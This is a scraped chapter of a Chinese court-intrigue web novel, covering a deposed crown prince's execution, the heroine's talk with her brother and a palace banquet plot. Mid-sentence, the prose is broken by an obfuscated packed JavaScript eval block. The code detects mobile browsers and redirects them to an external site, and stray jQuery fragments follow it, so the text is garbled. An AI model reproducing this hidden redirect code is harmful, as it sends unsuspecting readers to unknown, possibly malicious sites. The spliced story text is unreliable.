太子入昭狱没几日,朝堂之上果真陆续有大臣或弹劾或揭发其做过的一些事,譬如,结党营私,强拐良家女子至青楼,纵容幕僚草菅人命……
随着这些事情揭露,皇帝也定了废太子之心。六月十九,皇帝前往太庙,告祭列祖列宗与天地后,正式废黜太子,且数罪并罚,连同谋反党羽一起斩首示众。
废太子斩首当日,正好是蔡昭忆休沐日。她乔装混在观刑的百姓中,双眸漠然地盯着行刑台上一身囚服,蓬头垢面的废太子。
她要早知乐安坊是废太子所建,用来物色美人之处,定不会在秦宸党羽弹劾其贪污时助其脱困!
因为没有废太子,她前世便不会沦落到那般地步!那些无辜的姑娘们也不会如此!
她愤然想着,行刑台前百姓愈来愈多。
台上监斩官看眼烧到尽头的香,扔下一块签令牌,沉声说了个字:“斩!”
刽子手得令,饮口酒往刀上喷,紧接抬手,猛地落下,“噗呲”声清晰地传入众人耳廓。
蔡昭忆听着周围各种议论声,淡定地看着台上头身分离的场面,须臾,她转身从人群中离开。
回去的路上,她意外碰到郑承晏一行人,为不让严寒认出来,她当即走到一个卖稀奇首饰的小摊前故作挑选。
不知郑承晏是认出她还是无心,竟也来到小摊前,站在她左手边,问道:“本公子想挑一样小玩意送给心上人,不知哪种最受姑娘家喜欢?”
此话一出,双木瞥了眼旁边的蔡昭忆,其余人则是瞪大双眼,面面相觑。
蔡昭忆听到这话,讶异地侧眸瞟了眼。她听着摊主热情的介绍,放下风铃,转身刚走出一步,袖子骤然被什么扯住,紧接清润的男音自身后传来——
“在下失礼。姑娘刚好在此,想必明白姑娘家喜欢什么,可否劳烦替在下选一选?”
“是啊!”摊主见状,附和道:“都说姑娘最了解姑娘,要不您帮这位公子选几样?”
“……”
蔡昭忆蹙眉看了眼扯住袖子的手,直觉郑承晏已认出她。为不让严寒起疑,她背对着郑承晏,往回退两步,大致扫了眼,拿起一串桃红手串递出去。
“姑娘好眼光!这可是上好的宝石手串,公子送给心上人最好不过!”
“瞧着确实不错。”郑承晏端详两眼,还没等他说出下一句,身边的少女头也不回,好似逃命般走了。
他瞧着远去的身影,掂了掂手串,直接拿出一锭银元宝给摊主,淡道:“多的不用找了。”
摊主接过银子,说了句:“公子如此慷慨,定会如愿娶得心上人!”
郑承晏闻言,脚步一顿,回头看了眼摊主,复看向街上消失不见的身影,眸底情绪复杂。
那厢蔡昭忆担心严寒会派人跟踪,特意在巷子里转了几圈,确定无人跟踪,她才推开镇国公府后门。
“姑娘!”桃月在院门外看到回来的蔡昭忆立刻上前,低声道:“二公子在屋里。”
蔡昭忆看向敞门的屋子,眸底惊愕掠过,少顷,她迈步,温声:“没我的吩咐,谁都不许进来。”
“是。”桃月应道。
蔡昭忆跨过门槛,转眸便见蔡晟坐在桌前,眼眸低垂。她转身关上门,神色微沉地走到桌前,唤了声:“二哥。”
“你去了何处?”蔡晟抬眼,问道。
蔡昭忆垂眸,坦诚道:“我去行刑台观刑了。”
“废太子斩首,夺储之争将始。这明里暗里有多少只眼睛在盯着镇国公府?”蔡晟蹙眉,声音却温和道:“阿窈,你在大理寺任职,这个时候怎能去观刑?”
“我知道我不该去,”蔡昭忆顿了顿,斟酌道:“可废太子害了那么多无辜的姑娘,我曾经……险些被拐进去。今日他有如此下场,我自是要看看这样的人所流之血是红是黑!”
蔡晟闻言,神色骤变,沉声问道:“可是在花朝节那夜?”
“事情已经过去,我未曾被拐入,他如今也死了。”蔡昭忆安抚道。
蔡晟听罢,神色缓和不少,片刻,他意味不明地道了句:“阿窈,似与我离开前不一样了。”
“入朝为官若不变,不知会闯下多少祸端。”蔡昭忆跟着坐下,顺势拿起茶壶给蔡晟杯中添了些,“二哥与之前相比,也变了不少。我听说,二哥自从回来总会望着北边出神,不知北边有何,让二哥如此不忘?”
她说着,放下茶壶,因此错过了身边人慌乱的神情。
“我窗户开在北边,自然会看向北边。”蔡晟见蔡昭忆没看他,心虚解释一句,转而恢复神情,说道:“大理寺是由五皇子代掌,父亲与我都觉着眼下,你不该留在大理寺,故这几日我会向五皇子禀明,将你调来吏部。”
蔡昭忆听着,倏地想起围场那夜秦宸的试探。猜想秦宸十有八九是不会放她离开的,但她没这么说,只道:“好,我知晓了。”
蔡晟喝了口茶,突然想起什么,询问:“我听闻之前在围场太宁公主‘偶遇’过你和阿沅?”
蔡昭忆没想到蔡晟会提起这事,愣了下,点头道:“是,太宁公主言语间都是拉拢之意。”
蔡晟蹙着眉头,叮嘱道:“皇室中人大多擅长心计,你切莫与太宁公主走太近,扯上关系。”
“我自不会与太宁公主扯上关系,但若她来找我……”
“公主想拉拢,无非是为了废太子。如今废太子已死,公主应不会再拉拢。”蔡晟温柔打断道。
蔡昭忆并不这么认为,但她没有反驳,只应道:“二哥说的是。”
*
大理寺,东阁。
蔡昭忆正在摆放文书,突然听到外面吵吵嚷嚷混杂哭声,她心觉奇怪,放下一叠文书,走到窗前。
她站在二楼往下一看,这个位置正好能看见大理寺外跪了五个穿缟服,戴孝帽的女子小孩。
她们脸上皆是悲恸之色,其中两名女子各举着一块白布,布上不知是用血还是朱砂写着大大的“杀人偿命”。
杀人?偿命?
蔡昭忆不明所以瞧着,视线一转见许录事回来,转身进屋,继续摆放文书。
待许录事进来,她随口一问:“许录事,外头发生了何事?如此吵闹。”
“听说是今早刘捕头带人去查案,不知怎么与百姓起了冲突,推搡间死了两个人。”许录事落座案前,沉声:“现下那两人的家眷在门口讨要说法,鲁少卿正在门口安抚呢。”
蔡昭忆闻言,眸光微动。
废太子斩首不过两日,就出了这样的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14151155|145448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,她直觉这不是意外,而是冲着秦宸来的一场阳谋。
可现下皇子们大多在蛰伏观察,谁会在这时针对秦宸?
是谁针对倒不重要,重要的是对方应想借百姓之声,大臣之力施压,令皇帝免去秦宸之职。
但对方忘了,秦宸上次替外臣求情,朝堂上下诸多不满,也不过是停职罢了。何况这次是他手底下的人惹祸,硬要施压,顶多是再停职些时日。
果不其然,这件事闹了数日,满城皆知,到头来,秦宸仅被安了个御下不严之名,罚扣半年俸禄,停职两个月。
蔡昭忆听到消息,是在大理寺内,她表面与同僚们一样惊诧不已,内心却在思考如何把秘密告诉那个人。
很快,告密的机会来了。
*
八月十五,中秋宫宴。
蔡昭忆随父兄妹妹一起入宫,由宫女领着,抵至宜妃的兴德宫。
往年中秋宴都是在皇后的崇福宫,此次皇后生病,故由三妃之中的宜妃操办,地点自然也在宜妃宫里。
蔡昭忆落座,扫了眼对面的几个空位,侧眸看了眼桃月。
桃月会意,突然捂着肚子,当着蔡元漪的面禀道:“姑娘,奴婢许是吃坏了什么,腹中有些不适。”
蔡昭忆看了眼蔡元漪,温声:“那你快去快回。”
桃月应了声“是”,转身离开宴席。
蔡昭忆看着桃月离开的方向,少顷,收回目光,却意外与对面的郑承晏对上视线。只一瞬,她便挪开视线,看向别处。
没多久,桃月回来。
隔了约一盏茶的功夫,十二皇子秦翊入宴。
蔡昭忆眼尖地看到秦翊手里握着一块石头,她回眸看了眼桃月,见对方点头,眸底掠过一抹意味深长的笑意。
酉正时分,皇帝至,宴会开始。
蔡昭忆的目光时不时会穿过大殿中央的舞姬落到秦宸,秦翊身上。这时,一名宫女过来给她添酒。
“奴婢失手,还请姑娘责罚!”
蔡昭忆回过神,看眼惊慌失措的宫女,捡起掉落桌底的酒杯,淡道:“无事。”
“姑娘您的袖子湿了,不若奴婢带您去偏殿更衣?”宫女试探道。
蔡昭忆闻言,眼皮微抬,若有所思地瞧着宫女,放下酒杯,道:“抬起头来。”
宫女有些心虚,微微抬头。
蔡昭忆看到面容,觉得眼熟,好似是林巧如身边的人。她想着,侧眸环顾一圈,才发现林巧如没来。
她轻蔑一笑,心里已经猜到什么,拒绝道:“本姑娘不想更衣,你且下去吧。”
“姑娘。”宫女再次说道:“近来天热,您的袖子被酒洒上,过不了一会儿袖子就会有污渍。”话说到这,怕引起蔡昭忆反感,没再往下说。
蔡昭忆听懂话内意思,静静看着宫女,须臾,漠然道:“你说的也是,那就带路吧。”
“是。”宫女欣喜一瞬,小心翼翼起身,道:“姑娘,请随奴婢来。”
“阿沅,我先去换身衣裳。”蔡昭忆转头与蔡元漪说了声,起身离开宴席。
她跟在宫女身后,抬眸看了眼前往的方向,嘴角勾起一抹冷笑。
她今夜倒要看看,林巧如能在皇帝眼皮子底下生出什么事来。